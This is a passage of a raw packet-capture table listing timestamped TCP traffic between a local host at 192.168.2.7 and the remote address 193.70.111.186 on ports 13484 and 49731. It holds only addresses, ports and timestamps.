Nov 13, 2024 15:02:36.397013903 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397038937 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397063971 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397069931 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397079945 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397089005 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397120953 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397125959 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397128105 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397135019 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397161007 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397171021 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397186995 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397212982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397239923 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397239923 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397262096 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397269011 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397296906 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397305012 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397319078 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397325039 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397346973 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397366047 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397372007 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397392035 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397418022 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397440910 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397449970 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397480011 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397494078 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397506952 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397528887 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397552013 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397555113 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397639036 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397665024 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397665977 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397680998 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397687912 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397692919 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397718906 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397720098 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397743940 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397747993 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397768021 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397774935 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397797108 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397800922 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397823095 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397826910 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397852898 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397854090 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397877932 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397881031 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397907019 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397907019 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397929907 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397934914 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397952080 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397960901 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.397979975 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.397988081 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398014069 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398039103 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398041010 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398065090 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398065090 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398078918 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398092031 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398118973 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398132086 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398164988 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398168087 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398191929 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398219109 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398245096 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398252010 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398267984 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398271084 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398293018 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398298025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398319960 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398324013 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398344040 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398350000 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398370028 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398376942 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398396969 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398402929 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398427010 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398428917 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398454905 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398466110 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398482084 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398482084 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398510933 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398535967 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398540020 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398560047 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398565054 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398569107 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398586035 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398616076 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398621082 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398649931 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398675919 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398701906 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398705959 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398719072 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398729086 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398755074 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398756027 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398773909 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398782969 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398802042 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398809910 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398835897 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398837090 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398863077 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398864031 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398885965 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398890018 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398915052 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398916960 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398935080 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398943901 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398971081 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398974895 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.398997068 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.398998976 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399018049 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399024963 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399049997 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399054050 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399072886 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399076939 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399105072 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399118900 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399132967 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399158955 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399161100 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399180889 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399185896 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399209023 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399211884 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399235964 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399239063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399260044 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399267912 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399306059 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399322033 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399338961 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399365902 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399391890 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399416924 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399422884 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399442911 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399449110 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399471045 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399471045 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399497986 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399499893 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399511099 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399524927 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399550915 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399563074 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399580956 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399585962 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399602890 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399607897 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399627924 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399635077 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399652958 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399662018 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399682999 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399694920 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399719000 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399720907 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399736881 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399749994 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399775028 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399800062 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399801016 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399821997 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399827957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399848938 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399853945 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399879932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399890900 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399905920 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399931908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.399959087 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399979115 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.399979115 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400008917 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400032997 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.400034904 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400053024 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.400062084 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400085926 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.400088072 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400114059 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.400114059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400130033 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400134087 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.400142908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400156021 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400168896 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400181055 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400193930 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400207043 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400218964 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400232077 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400243998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400257111 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400270939 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400284052 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400295973 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400309086 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400321960 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400335073 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400347948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400362015 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400381088 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400393963 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400407076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400419950 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400433064 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400445938 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400459051 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400471926 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400485039 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400496960 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400510073 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400521994 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400532961 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400546074 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400558949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400573969 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400587082 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400600910 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400614977 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400626898 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400639057 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400651932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400665045 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400677919 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400701046 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400716066 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400728941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400742054 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400754929 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400768042 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400779963 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400793076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400805950 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400819063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400830984 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400844097 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400856972 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400870085 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400882006 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400893927 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400907040 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400919914 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400932074 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400944948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400957108 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400969982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400983095 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.400995016 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401006937 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401027918 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401052952 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401067019 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401078939 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401091099 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401103973 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401114941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401127100 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401139975 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401153088 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401165009 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401176929 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401194096 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401206017 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401220083 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401232004 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401245117 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.401257038 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406286001 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406301022 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406313896 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406330109 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406351089 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406368017 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406390905 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406403065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406414986 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406426907 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406441927 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406446934 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406451941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406512022 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406526089 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406541109 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406547070 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406550884 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406553984 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406568050 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406799078 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406814098 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406826973 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406840086 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406852961 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406864882 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406877041 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406888008 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406904936 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406918049 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.406996965 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407012939 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407023907 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407037020 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407048941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407100916 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407114983 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407126904 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407139063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407151937 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407219887 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407233000 CET	13484	49731	193.70.111.186	192.168.2.7
